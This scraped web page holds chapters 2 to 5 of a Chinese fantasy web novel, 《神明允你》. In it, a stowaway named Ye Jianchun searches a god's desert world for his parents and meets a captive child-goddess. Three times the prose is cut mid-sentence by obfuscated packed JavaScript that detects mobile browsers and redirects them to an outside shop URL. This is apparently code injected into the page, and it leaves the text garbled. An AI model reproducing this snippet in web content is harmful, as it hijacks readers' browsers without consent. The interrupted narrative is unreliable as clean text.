《神明允你》 2. 生.Chapter 2 “春天?” “春哥!” 好像有人在叫他,叶见春疲倦地睁眼,一个脑袋挡住了他面前的阳光,那人满脸担忧,狗狗眼快挤成三角了,合十双手似乎在为他祈祷。 “春哥,你终于醒了!”闵宇露出笑容。 叶见春目光虚无地看着闵宇,没想到啊,地狱里还能见到这个聒噪的家伙,他所期待的绿色都没有,仍是黄秃秃的旱漠,他头痛欲裂,口干舌燥,连口水都分泌不出来,和活着一样难受呢。 在进入这个世界之前,他得到消息,他的母亲叶清泠就是第一批进入001小世界的探险队队长,她带着父亲一起进去,从此音信全无。他手上的银缠臂唯一能联系他过去的信物,一直被他带在身上防身。 叶见春摸了摸腕间缠臂?,想,还好还好,死了也能把身上的东西一起带走,就不怕找不到爸妈了。 “好了就别装死,继续上路。”沧哑的声音在他们身后响起。 叶见春顿时淡定不住了,他眉毛轻撇,缺水惨白的唇瓣费力撕开,问:“我没死?” 章邱狠狠踹他一脚,说:“死什么死,给你们用了老子都舍不得用的万能蛇清,本事不大,惹祸不小,要是被这里的神明发现了,你两个龟儿子的命就留在这里吧!” 闵宇竟然也好全了,看起来比他还精力充沛,看自己没事,开心得好像马上要抱着叶见春绕着沙漠跑两圈。 于是叶见春又变回了哑巴,背起行囊安静地跟在队伍末尾,脑海里却不由自主地回响起昏迷时听到的虚如飘渺却如银铃般美妙的声音。 春天。是他的小名,少有人知道。 他虽然听不真切,却本能地觉得说这话的人一定在笑。 ——真像,妈妈的声音。 队长章邱拿出念针,他们朝着念针所指的方向往大漠的更深处前行。 念针可以指引念力强大所在处,最快找出神明本体,是个趁手的好工具。 大漠的深度在一定程度上可以代表神明的念力强大与否。他们早就知道这位七百多年前在世界APP上横空出现的第一百位神明极其特殊,有传言说001世界的神明力量早已超过其他世界的所有神明。 即使如此,他们仍然料错了大漠的深度。 第7天,他们开始猎杀沙漠里的毒物充饥。但捕捉这些毒物并不容易,且肉少皮厚。 两天后,有人将主意打在念力最弱的同伴身上。他们的眼神流连过闵宇,叶见春清楚知道他们脑袋里在想什么鬼主意。 不能再这样下去了。 于是在他们偷渡到这个代号为001的小世界里的第21天,层层热浪已经快要将人炙烤而死,叶见春拦住那些贪婪得想啃下闵宇一双手的人,走到最前面。 他弯腰一手扶地,绿色的柔光从他手中四散,最终从某个方向传回,他和队长说:“我们得向东走。” 章邱也没什么好耐心,不容置疑说:“念针让我们向西走。” 叶见春摇头说:“东边,有生机。” 他的念总能发现生机——这也是多年来他得以绝处逢生的本事。 然而章邱毫不犹豫拒绝:“不行。” “你不相信我?” “我信你,但命令不能违抗。” 叶见春与他平视,眼神毫无惧意:“可是跟着你,会死。” 章邱给了他一拳,在陌生的世界里最忌讳说这些胡话,当心被神明听见,一语成谶。叶见春则结结实实挨了这拳,被打趴在地上,聆听他的训诫:“从我们踏进这里的第一天起,命就已经不再是自己的。只要牺牲能换取成功,那么所有的牺牲都是值得的。” 叶见春冷笑一声,身体后缩。 牺牲弱者的性命保全强者的生机,神明们是这样做的,而被神明牺牲的他们却还要可笑地做出一样的选择,荒谬至极。 那种荒谬的感觉让他心烦,整个世界就像是一个虚假的乌托邦。 章邱似乎看出他的想法,蹲下来一双大手死死禁锢住他双肩,眸中光芒闪烁,如同天上的太阳,刺眼眩目。 身为队长,他的念,有让人天然臣服的能力。虽然不知道为什么上一次对他失效,不过章邱还是自信自己的念能全面压倒这个瘦弱青年。 只见他面前的刺头渐渐放弃了抵抗,眼神恢复了平静,只是整个人看起来略显麻木。 章邱终于松了一口气 ——那时的他还不能预料到今夜叶见春会带着闵宇悄悄逃走。 ——否则他一定会为此刻的心软而感到无比的懊悔。 叶见春逃了。 …… 叶见春和一把年纪了还装愤头青的章邱不一样,他是罕见的无神者,是流浪过各个世界,却不属于任何神明的人类。 信徒这两个字对于叶见春而言过于遥远,各色世界真真假假,大同小异,他并不归属于任何一个小世界。 如果可以,人类毁灭倒是一个不错的选择,没准地球还能多点不同的颜色,而不是现在灰扑扑的世界,死气沉沉。 他来到这里的目的非常简单,那就是找到父母——哪怕是尸体——他也要将他们带回。他曾走过无数小世界寻找父母的踪迹,却始终一无所获。 直到034世界的神明告诉他,他父母在001世界的神明手上,于是他来到这里…… 他现在有更重要的事情没有做完,绝不能稀里糊涂地被这群人当垫脚石踩死。 叶见春念力有限,最多只能探查十公里以内的生机,实际上东边没有任何生机的痕迹,但他微弱地感应到那条被他试图控制的小蛇,正是向这个方向逃窜。 作为沙漠里的原住民,它一定会找到生机。 而闵宇出于对他春哥的盲目崇拜,一路屁颠屁颠地跟随他。 可惜一连走了五天还是一无所获,□□和精神都已经被折磨到了极致,甚至开始出现幻觉。 “春…哥,水,那里有水!”闵宇涣散的目光突然狂热,忽然发疯似的向前冲去。在阳光的照射下,前方银白色的水坑都闪烁着救赎的光芒。 叶见春没能拦住他,然后,他从沙丘后面拔出半个身子都埋进去的闵宇。 像小时候在妈妈画册上看过的鸵鸟。 他抿嘴压住笑意,最后还是好心告诉他:“海市蜃楼。” 闵宇生无可恋,已经走不动一步路,绝望地看着他,开始做最坏的打算。 “春哥,我们会死在这里吗?” “不会的。”叶见春捏住了他的嘴巴,语气温柔却坚定,“你要保留体力,不要一直叭叭讲话。” 都这个时候了,他的重点竟然还在嫌自己聒噪。闵宇有点想哭的冲动,但发现自己已经没有眼泪可流。 他泄气地颓坐在地上,仰头看天,心血来潮地合十双手,虔诚祈求:“神明啊,求求你下场雨吧,我真的不想死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094688|195614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我还想回家陪陪妹妹。” 闵宇身上散发淡淡的金色光芒,他消耗掉自己最后一点念力。 作为队伍里的吉祥物,闵宇的念既没用又有用,那就是每当消耗念力之后,他的运气都还不错。 叶见春狠狠地皱了皱眉,祈求神明宽恕他们这些偷渡者,要是被神明听见,后果不堪设想,可此时也来不及再堵上他的嘴。 忽然,晴空万里的沙漠无端刮起大风。叶见春抬头望去,乌云蔽日,一滴豆大的雨点啪嗒坠落,不偏不倚,正好砸在他干涩的唇上。 叶见春条件反射地用舌头舔了舔,然后愣住。 不会吧—— 他们总不该这么倒霉,在这个世界的最外层就遇见了神明?还是说,神明的念强大到竟然能监听如此大范围的领地。 那从祂手里抢人的胜算似乎又少了几分。 雨越下越大,耳边传来某个欣喜到快要发疯的欢呼声。闵宇这家伙倒戈得相当快,他跪在地上,诚心诚意说:“心软的神明啊,我愿意成为您的信徒,求您允我吧。” 叶见春莫名心跳错了一秒,而回应这个少年虔诚祈愿的是一道刺眼的闪电,把地上这个满嘴甜言蜜语的“信徒”劈得七荤八素,满脸漆黑。 叶见春难得可怜了他一秒,低声说:“活该!” 久旱逢甘霖,雨水源源不断地汇聚成河,他们脚下的沙子开始松动。远处的沙子滚着沙子,像生了脚一般朝他们爬过来。 叶见春拉着被劈傻眼的蠢蛋,生拖硬拽想将他拖走。无奈翻涌的沙潮已近在跟前,叶见春腿一软,就被汹涌的沙漠洪流携卷着带走。他唯一能做的只有将头抬高浮出水面,不至于窒息。 水能令人欢喜,也能令人厌恶,直到精疲力竭,他才不甘心地闭上双眼。 - “能在沙漠里淹死,他可是头一个。” “这样不知底细的人也就你能救他们。” “可你不觉得他长得很亲切吗?” “说起来,他的眉眼长得确实很漂亮,和你一样。” “胡说什么呢!” 叶见春睁开眼睛,发现自己竟然躺在一张床上,尽管床很简陋,但在这一望无垠的沙漠里睁眼看见一张勉强称得上温馨的床,这和被墓碑压着的土坑下面爬出个人没什么两样,警觉心蓦地升起。 一对男女站在他面前,女人觉察到他醒来,立即止住话头,不好意思地吐吐舌,满脸温柔地问他:“小兄弟,你叫什么,是从哪来的,怎么这么不小心掉进沙漠洪流了?” 叶见春低头紧张地掖了掖被子,手下缠臂?微震,他双手交叠,迅速压住不让对方看到,脸上适时露出胆怯的表情,问:“你们是什么人?看到我弟弟了吗?” 女人立即笑道:“原来他是你弟弟呀,在隔壁还没醒来呢。我姓叶,是研究所的所员。他是我丈夫,姓简。” 姓叶?叶见春不由自主地将注意力放到这种本不该注意的细枝末节中。 他才认真看清女人的模样,她穿着艳丽的花裙子,波浪般卷曲的头发看上去得了主人的精心照理,光泽柔顺,恰恰齐肩长。虽然她比自己大不少,打扮得却很稚嫩,岁月几乎没有在她脸上留下任何痕迹。 一朵被人娇养的沙漠之花。 他暗自放下疑惑,想要去找闵宇。然而左脚刚踏出屋子,绿油油的草地蓦地刺痛他的双眼,叫人脚底发虚。他瞳孔放大,停在原地。 3. 生.Chapter 3 绿洲就这样直晃晃地闯进叶见春的眼帘——已经绝迹了一千多年的绿洲。 绿洲曾是地球最早消失的自然景象,没人知道是怎么消失的。听说在更早一点的时候,古国人们还曾经发动过大规模的植树造绿洲活动,并且颇有成效。然而谁也没想到,千年前一场席卷全球的特大沙尘暴过后,这些绿洲就都消失得无影无踪了。 叶见春甚至怀疑自己是不是进入了某个神明制造的陷阱里,毕竟最新技术研发的1080D虚拟机就能造出这种效果,让人身临其境,无法辨别。人在里面待久了,会丧失神智,并伴随剧烈晕厥感。轻则恶心呕吐,最坏的结果就是变成智障。 这里的感受比他之前经历的要更加真切,高达几十米的硕大仙人掌矗立在远方,低矮的灌木丛匍匐其下。他能够清晰感知到,扑面而来的热风中藏着一丝绿洲特有的清凉。 叶见春回头,怪异地看了一眼那对夫妻,但女主人毫无察觉,反而热情地上前介绍:“对,你没看错,这里是绿洲,我和老简的毕生心血就是创造出了这片绿洲。你看这片梭梭树,是地球最后灭绝的沙漠植物之一。我们非常有幸拿到了梭梭树的干枯标本。通过它们的基因组分析,用排类组合试出它的蛋白质折叠结构……” 叶见春听不懂,但他看懂了她眼里的热爱,于是似懂非懂地点头赞同。后脚跟着地,他的双脚踏踏实实地落在沙土上。 与此同时,两侧无数裹着原始草衣短裙的人纷纷停下手里的动作,好奇地看着他。 附近还有不少帐篷,胆小的人在暗处悄悄偷窥,或许是他们的目光太过灼热,叶见春不用念也能强烈感受到。 他微微撇眉嫌弃,有种除他以外人类突然退化数百万年的错觉。 不怪叶见春会恍惚,毕竟现在人类社会早已普及自动调节体温的全涂层类纳米轻衣,有身份地位的人还会外加一层念力催动的全息投影用于形象管理。可眼前这些人,穿着草鞋草衣,形象打扮得和古原始人如出一辙。 沉默寡言的男主人看出他的疑惑,解释说:“他们喜欢穿草衣是因为凉快、简单,毕竟这里环境也不太好,没必要讲究太多,真实就好。” 说实话,这里已经是他见过环境最好的小世界了。叶见春撩起自己的手肘的衣服,热风吹拂。他本以为难以忍受,但他的身体竟然迅速地适应了这里的环境。 ——大概是这些年,忍受的阈值早已被生活苦难磨高了吧。 他并没有表露太多情绪,回头露出一个感激的笑容,向男主人点点头。男主人立即被那酷似妻子的眉眼晃了心神,心头一软,忍不住想,这小孩真乖巧。 叶见春没有注意到他的愣神,紧接着钻进挨着草屋的帐篷里,里面也有一张同样的小床,躺着一个人。他以为那人是闵宇,于是快步走上前,然而在看清面容的刹那,又猛地刹住。 ——是个女孩。 那孩子看起来只有两三百岁的样子,还没他一半高。一头白色短发格外醒目,身上穿着和隔壁女主人样式相似的俏丽花衣服,看见外人也不害怕,坐在床上歪着头毫不避讳地打量他。 自基因改造技术全面合法化后,各类遗传疾病已近乎绝迹。像这种仅存于历史数据库记载中的白化症状,叶见春还是头一回亲眼见到。 女主人也连忙赶到门边,叶见春和她说了声对不起,立即退了几步。 那孩子声音怯生生的,但又带着点冷冰冰的疏离感,质问他:“你是谁?” 叶见春迟疑了一秒,目光掠过身旁女主人同样疑惑但真诚的脸庞,不知道为什么竟然脱口而出:“我叫春天。” 他不愿意在小世界里暴露自己的真名,却也不想欺骗他们,说完之后心里的忐忑消退了几分,于是十分自然地又解释了一遍:“春天,是古时第一个季节。” 那个时候,地球的多数地区还有四季之分,不像现在,小世界里的水资源全都被冻成冰收集存储起来,到处都是一样的干燥炎热。 女主人听完拉着他的手,无比赞同地说:“春天小兄弟,你的名字真是太美好了,我要是有小孩,也会给它取这个名字的!” 这有什么值得激动的?叶见春不动声色地抽开手,他和他们一家三口远没有熟到这个地步,然而他的脸上却不由自主地飘起红晕,使他看起来并不如他内心所想般冷漠。 “春天?”床上的小孩笑了笑,脆生生地喊他,“春天哥哥,你的同伴在左边的屋子里哦。” - 闵宇还活着,只不过在沙漠洪流里呛了几口满是沙子的污水,因此精力不济,还在昏睡。叶见春不得不在此地多停留一会。 他向那对夫妻询问这里的神明是谁,然而他们疑惑地看着他,完全不知道他在说什么。 他们是无神者吗?好像又不是,他们甚至不清楚神明的意义,以为自己活在一千多年前。 叶见春盯着那两人的眼睛,那两双宽和温柔的眼珠里没有一丝躲闪与犹疑,只有对他精神状态的浓浓担忧,让人本能地相信他们。 叶见春暗暗收回目光,还是起了疑心。 不对劲。 这里究竟是什么地方? 根据世界App上的历史记载,两千多年前,他的祖先曾经生活的古中国,也出现过这样民风淳朴的时期。可那个理想社会已经消失太久了,人类生来骨子里的那一点好,早就被这个糟透了的时代磨得稀烂。 叶见春讨厌所有神明,连带着整个世界都一起厌恶。 这里一定是虚拟机,叶见春处变不惊地揉了揉拇指关节,发出错位的清脆响声。他们越是对他好,就越是印证了他的猜想。 晚上,人们在绿洲中央烧起熊熊火焰,不知从何处搬出的美酒与烤鸡摆满了长桌,叶见春端起酒杯轻轻碰了碰唇,脸上始终挂着一成不变的微笑。 他心底不安,对于迷茫未知的前路,甚至有一丝恐惧。但叶见春面上仍然维持寻常模样,有一搭没一搭地和周围人聊天,终于打听到一个有用的消息。 ——他们说,这片沙漠是有尽头的,它的尽头是片海洋,离绿洲很近,只要走上两个小时就能看见。 海洋,多稀罕的词汇。毕竟水源也是小世界里极其珍贵的资源,听起来他们的描述,海洋甚至没有冰封起来,看得出来,这个神明还挺阔的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094689|195614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 到了夜半,叶见春避开所有人的视线离开绿洲,独自去找人们口中的沙漠尽头。他当然不是来看海的,沙漠的尽头是神明意志最稀薄的裂隙,或许能寻到虚拟机的出口,撕开这层笼罩一切的幻象。 清晨的沙漠里竟然飘起罕见的大雾,迷住了叶见春前方的路,却也说明离那片海应该不远了。 他甚至能听见阵阵拍击岸边的海浪声,看来马上就能达到那片人们口中说的海,这还是叶见春第一次见到非固态的海洋,心里竟然还有些期待,脚下的步伐也不免加快起来。 忽然,背后有人拉了他一下,极小的力道,吓他一大跳。叶见春双拳握紧,缠臂闪过一道银光,随时准备出手。 他回头,是那对夫妻的女儿,也不知道什么时候跟在他后面,竟然毫无察觉。她露出白白的小乳牙,过白的面容绽出一个明媚的笑:“春天哥哥,小心呀!” 她指着自己身后,叶见春回头看见漆黑的沙丘。他揉了揉眉心,视线落在沙丘无数丑陋的黑色甲壳虫上,它们造型奇怪——高抬屁股,倒立似地站在沙丘上,一动不动。 但最要命的是,正前方卧着的那只小蛇,正是那只曾经咬伤叶见春、杀人未遂的响尾蛇。 叶见春不禁后怕地摸了摸自己已经愈合的脖颈,大动脉正在有力地跳动,心脏也随着颤动,他松口气,还活着。 然而那小孩却胆大无知,一副初生牛屠不怕虎的样子,竟然伸手去抓蛇。 叶见春眼疾手快,立即用刀在蛇反咬的那瞬间深深扎进小蛇的七寸,一阵扭曲地挣扎后,它彻底失去生机。 女孩摘下小蛇那串会响的尾巴,在手上反复把玩抖动。 “你…”叶见春皱眉,严肃的语气却渐渐放缓,说,“你怎么在这?” “我想来看日出,听说海上日出会很漂亮。”女孩眼里没有畏惧,反而好奇地问,“春天哥哥,你很怕它吗?” 叶见春不太喜欢她这么叫自己名字,故意在前两个字上加重语气,不紧不慢地,好像着重强调什么一样,听起来很没礼貌。 但她还是个孩子。 于是叶见春蹲下来,耐心中带着浅浅的自己都未曾察觉的厌恶,说:“不,我是单纯地很讨厌它。” 女孩遗憾地哦了一声,可是她的脸上还挂着笑容,看起来十分矛盾。她坚持把那串短短的响尾递到他面前,说:“送给你,也许以后你就喜欢了呢。” 叶见春直直地看着她,像是能看穿透过这副苍白的面容下的真实情绪,迟疑片刻,收下莫名其妙的礼物。 他没再去管这熊孩子,大步向前,甲虫背甲上的水雾因为地面轻微震荡而凝聚成滴,纷纷四散开。 大海,终于出现在他面前。 海浪将沙石细细打磨,变成泛白的黏土,粘在沙漠的边缘,形成不一样的景观。他仿佛看见沙土之下仿佛藏着无数双眼睛,通过极细微的孔洞,在打量着他。 他忍不住弯腰凑近了去看。 下一秒,他被人重重推进海浪里。 叶见春喝了一口咸涩的海水,心中盛怒。 他就知道,他早就该知道! 4. 生.Chapter 4 是神明! 刚刚那瞬间,他的念,从那只小蛇身上转移到了那个孩子身上。 除了神明,这世上不会有第二个人能做到如此轻易转移自己的念力。 他只是没料到,这么早就被神明抓住。 太阳光线像一层雪白的纱布盖住他的眼睛,什么也看不清,只有几个模模糊糊重叠在一起的黑色人影在水面漂浮。 另一边,神明则漫不经心地把玩着一只黑甲虫,坐在岩石上 虽然很不想承认,但在水下懊悔恼怒的叶见春看向神明影子的刹那,是他见过最美丽的景象,他潜意识里认为神明就该是那样神圣的——白色的虚影如同燃烧殆尽的神庙遗迹,涌动的浪花像她迤逦的裙摆,绚烂而圣洁。 海上的日出的确很漂亮,可惜是致命的。 他看不清,却恍惚听见她在笑,说的话像隔着一层玻璃,刮着耳膜难以听清。他的手被人抓住,那串他刚刚收下蛇尾也被人扒拉走了。 叶见春是真有点愤怒了,送给他又抢回去,她在玩弄他。 如果再遇到她,他一定会杀了她。 黑影还是守在那里,叶见春知道自己没办法上岸,只能放任自己的身体下沉,越来越黑,耳鸣越来越大,生机也在一点点流失。 越来越深的海底,安静里脑海里的耳鸣声更加明显,在刺痛神经的嗡鸣声里,他仿佛又听见妈妈在叫他,她唱了一首很古老的歌曲哄他开心。 “春天在哪里呀,春天在哪里?春天在那青翠的山林里……” 过了很久,水面还是没有什么动静,神明眼眸微暗,她迎着曦光吐出一句没意思,丢下手里的虫子,赤着脚走回去。海边的人看见她的离去,相互对眼神,也跟着往回走。 很久之后,在相隔数米外的海岸边上,突然多了一只泡得惨白的手臂。 叶见春一只手抓着块光滑的黑礁石,湿漉漉地爬上岸边。 他差点就死了,他不会游泳,但好在很擅长装死。叶见春的身体被巨大的海浪拍得通体发红,手上有许多细小的划痕,伤口边缘已经被泡得发白,盐水刺激下连痛觉也变得模糊。 他坐在沙滩上晒干自己的头发。真的很狼狈,叶见春身上的水汽虽然很快被蒸发,但衣服上留有一层细细的白盐,怎么揉搓都擦不干净。 很烦。 超级烦。 比曾经被034世界的神明囚禁在虚拟机里的日子还要烦。 可这里竟然不是虚拟机,因为虚拟机的死亡是假象,它只会夺走人的念,而不会摧毁人的生机。 他刚刚,是真的要死了。 叶见春平复了一下心情,踉踉跄跄地继续向绿洲方向走。 他要带闵宇离开这个鬼地方。还有,拿回他的东西。 - 夜幕降临,月光洒下柔和的银光,绿洲的人们举办了一场盛大的宴席,闵宇喝了一点酒就上了头,脸色酡红,笑嘻嘻地看着面前的人们载歌载舞。 他觉得脑袋很晕,腹中酸胀,摇摇晃晃地起身去找个地方悄悄解决。忽然,他被一个人大力按下,他刚准备呼救,那人却早有预料似地转而捂住他的嘴巴。 闵宇的眼睛惊恐不定的左右乱转,直到看清来者才松软下去,说:“春哥,一直没见到你,你去哪了,怎么头发这么乱?” 叶见春的头发蓬松柔软地耷拉在他额前,几乎快遮住他的眼睛,浑身有一种说不出的疲惫感。 他没有解释,低声说:“走,这里不能再待了,神明已经发现了我们,现在很危险。” 闵宇天真地抬起头,说的话同样很单纯:“怎么可能,神明怎么会来这里?这里的人都没见过神明,没准这里就是无主之地呢。” “无主之地。”叶见春咀嚼着这四个字,血淋淋地戳破他自欺欺人的假想,“无主之地是什么样子难道你不清楚吗?” 无主之地,指那些没有神明本体的小世界,失去神明的庇护,小世界里生机无存,只剩坍塌的废墟。只有死刑犯才会被送去那种地方等死,绝不可能有任何生命能在那种地方长时间存活。 但闵宇仍然固执地挣脱叶见春的手:“也许这里的神明并没有注意到这不起眼的小地方,他们都很好,那对夫妻还救了我们,为什么不能留在这里。” 他用的是肯定句,而不是疑问句。 其实也没错,他们也没比死刑犯好多少,不然怎么会被送到这里。 像闵宇,因为打残了某个军队里的高官儿子,以危害公共治安罪被抓进监狱。那人本准备悄悄做掉他,要不是他主动申请,又运气好被选中来这里将功赎罪,可能早就悄无声息地死在某个不为人知的小世界角落。 “我确实应该好好感谢一下他们。”叶见春仿佛被说动了,松开他,甚至郑重地考虑说,“他们一家在哪呢?” 闵宇以为他回心转意,又高兴起来:“他们身体不适,去帐篷里休息了。” “那…他们的女儿呢?” “他们还有女儿吗?没看到啊。” 叶见春“哦”了一声,可就在闵宇转身的刹那,突然掏出微型麻醉针,又准又狠地给他扎上一针。 叶见春拍拍手,现在好办多了,他睡着了。 说实话,他偷这麻醉针的时候就想到会有今天的场景了,只是没想到来得这么快。 将闵宇拖到椰子树后,叶见春稍稍整了整自己的衣服头发,若无其事地走进神明的帐篷里,却不见人影,翻找了半天也没有找到他想要的东西。 神明不在很正常,奇怪的是,这里居然没人看守,里面只有一张空荡荡的大床,好像一点也不重要。 她一个神明,怎么住的地方这样简陋,叶见春下意识地想。 他汇聚念力,随着微弱的指示偷偷摸摸来到隔壁那对夫妻的屋里。外面欢声笑语震天响,没想到这对夫妻居然在睡觉,还睡得非常安详的样子,如果不是平稳的呼吸,他甚至以为他们死去多时。 睡着了更好,他并不想对他们下死手。 屋里光线昏暗,叶见春摸索半天才摸到一个小方形盒子,侧面有粗糙的磨砂感。他辨认了半天,才发现是几千年前人们才使用的古董火柴。 和历史博物馆里的一模一样。 他尝试了半天,才勉强点燃一根,带来微弱的光亮。 两夫妻床头柜上,那串尾巴静静地等待来客。他有些心急,伸手去拿,却不小心打翻了什么东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094690|195614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西。 清脆的玻璃破裂声音,随即响起欢快的音乐前奏。 叶见春的心都提到嗓子眼了,念力流转间,手上已经紧紧握住钩刃,抬眼观察那对夫妻。 那对夫妻要是醒了,他应该杀了他们还是说些什么糊弄过去……诶,他们竟然还没醒? 耳边音乐声如此扎耳,叶见春这才分出一点心思给这音乐的旋律,然后听见那个被打碎的八音盒里传来一阵无比熟悉的歌声。 “春天在哪里呀,春天在哪里?春天在那青翠的山林里……” 火柴骤然掉落熄灭,随之飘起一缕细烟,记忆却在烟雾中渐渐清晰,如汹涌海浪般瞬间将叶见春湮没,他大口大口地喘气,双手紧紧握在床沿,整个人瘫在床边。 很久之后,他才敢伸出食指,不可置信地将记忆里的模糊模样与床上的两人对比描摹,他声音忽然轻了很多,晃动他们的胳膊:“爸爸?妈妈?” 没有任何回应,叶见春的眼泪无声地往下落,像孩子一样喃喃自语:“你们为什么不理我?” 他用念将他们上上下下仔细检查一遍,发现他们身上竟然没有一丝念,眼泪忽然就停住了。 他出门深吸一口气,抑制住自己所有的情绪,抬头仰望那轮月亮,只有一滴泪不太听话,像天上不起眼的流星,悄悄滑过。 他手里还攥着那串轻薄蛇尾,越攥越紧,忽地手一松,还是没有选择捏碎它,而是放在腰间储物袋里。 这里本应该都是假的,可偏偏是真实的。可他朝思暮想魂牵梦绕的人,却偏偏是假的。 不远处,烟花在大漠里炸开,如流星雨般四散开,颜色却是少见的绿色。昨天,叶见春也看到过这烟花,那时候他急着去大海,并没有多想。 可现在,他皱眉,悄悄躲在梭梭树后面打量那群欢歌快舞的人们。树前面围着很多拿火把的人,离他极近,他猫着腰,不自觉屏住呼吸。有人似乎察觉到他,回头看了一眼,叶见春浑身紧绷,但梭梭树茂盛的围住他,那人看了半天也没看出不对劲,正准备仔细检查时,前方的篝火后,忽然推出一个十字架,打断了他的动作。 叶见春舒口气,透过层层人影,定睛一看,十字架上赫然绑着一个人。 那个人他很熟悉。 白发长裙,明亮的眼睛像星星一样闪烁。她似乎看到了他,歪着头对他轻笑。 叶见春想过很多种再见到她的可能,却唯独没有料到会是这种情况。 她不是神明吗? 即使不是,她也只是个孩子的身体。无论如何,都不该是现在这个被人绑在十字架上马上被烈火焚身的祭品。 随着大火熊熊燃烧,仿佛要将黑夜烧尽。他看见被火焰点燃的烟花所至之处,开出绚烂的花朵,然后迅速枯萎腐败,留下具有生机的种子,长出嫩叶,蕴含生机。 而女孩的脸色越来越苍白,跳跃的火光也衬不红她满身的白。 大火燃尽,人们把她抬下来,放回那间低矮的帐篷里。 叶见春在灰蒙蒙的黎明里漫不经心地想,什么嘛,传说中的她如此强大,居然是一个被信徒禁锢的神明。 他心中又生出点好奇,她怎么会被人禁锢在这里? 5. 生.Chapter 5 闵宇醒来的时候,正对着一张关切的俊脸,他惺忪了一下,揉了揉眼睛才打哈欠说:“春哥,我们在哪呢?” 叶见春微微笑着:“你喝多了,突然就睡在这了,我没办法,只好在这里守着你。” 闵宇果然很感动,他情真意切地说:“春哥,你人真好。” 但他刚一站起来,就感到□□一凉,叶见春立即关切地问:“你怎么了?” 闵宇立即伸出一只手保持距离,声音蓦然抬高:“没——怎么!春哥我忽然想起来你昨晚好像和我说要去感谢那对夫妻的相信你为了照顾我还没来得及去吧你先放心去吧不用管我我还要处理点私人事情就先不耽误你了啊!” 他的脸红得像猴屁股,叶见春唇角很轻地弯了一下,没再为难他,点头说:“那我先去找他们了,你不要乱跑,一会再见。” 闵宇点头如捣蒜:“再见!” 他本来是要去帐篷那里,可一步步走回草屋的路上,他的心跳声越来越快,脚步几次想拐弯。好不容易克制住,一抬头忽然看见两张笑意盈盈的脸,明明知道是假的,他仍然愣在原地。 女人和善地问他:“春天,你没吃早饭吧,要不要进来一起吃?” 叶见春眷恋地看向他们清晰的脸,像是想把一切都描摹下来,原来他长得更像妈妈一点啊。 他无法抗拒这个简单的提议:“好。” 叶见春吃着并不那么美味的凉拌仙人掌,神色如常地聊起家常:“您好像很喜欢春天这个名字?” 女人笑着说:“是呀!我和你简哥说好了,如果有小孩,不管男孩女孩都叫春天。可我们没想到你也叫春天,看来你的父母和我们还真是有缘分。” “是啊,的确很有缘分。不过为什么要叫春天呢?” “这个倒是有些记不清了,似乎是很久以前的一个朋友提起的。我们觉得很好,你看,春天,生机勃勃的,听起来就充满希望。我期待我们的宝贝来到这个世界,也期待春天重新回到地球的那一天。”女主笑着拍了拍男人的腿,似乎很开心。 男人只是温柔地看着她,说:“大名就跟你姓。” 女人毫不惊讶,甚至有一些小骄傲:“那当然,我的姓氏多好听啊,你的姓氏一听就没什么内容,干巴巴的。” 叶见春看着他们互动,也跟着笑起来,被女人立刻察觉:“春天兄弟,你笑起来很好看啊,你和我一样,有酒窝诶。” 叶见春摸了摸自己的脸,还是笑着:“我之前也笑了的。” 女人摇摇头:“你今天笑得格外好看,以后一定要多笑笑,有科学依据表明,笑容有益身心健康。” 男人瞪了她一眼,向着毫无察觉的女人又近了一分。 叶见春又忍不住抿嘴笑了一下,不经意间随口问起他们:“如果你们真的有个孩子,会希望他成为什么样的人?” 也许是出自研究员生来的严谨态度,女人放下筷子,托着腮眯眼仔细思考了很久,才郑重地给出答案:“我希望他快乐、健康、幸福,能辩是非,知善恶,永远都不被假象蒙蔽双眼,能看见这世界的黑暗也能认识到它的美好,做一个平凡、努力又热爱着这个世界的普通人。” 叶见春忍不住问出口:“为什么要……抛弃我?” 叶清泠没听清:“你说什么?” “我是问,你爱他吗?” “我怎么可能会不爱他,我和简哥都很喜欢小孩,如果我们有一个孩子,那一定是因为爱他才愿意带他来到这世上。” 叶见春的眼睛里起了一层薄雾,他低头扒菜试图掩盖:“这样的普通人会不会要求太高,要是他没做到怎么办?” 女人对他突如其来的难过感到手足无措,想到自己也没问他父母的情况,是不是无意中戳到了别人的伤心事,于是轻轻地拍了拍他的肩膀说:“没关系的,我把这世上最美好的祝福送给我的孩子,可他的人生还是要由他自己来走。一切都是最好的安排,不是吗?” 叶见春胡乱地点头,突然站起来谢过离开了。 女人仍然有些担忧:“他情绪看起来有些不对劲,我是不是还是说错了话。” 男人搂住她:“没关系的,你并没有做错什么。” 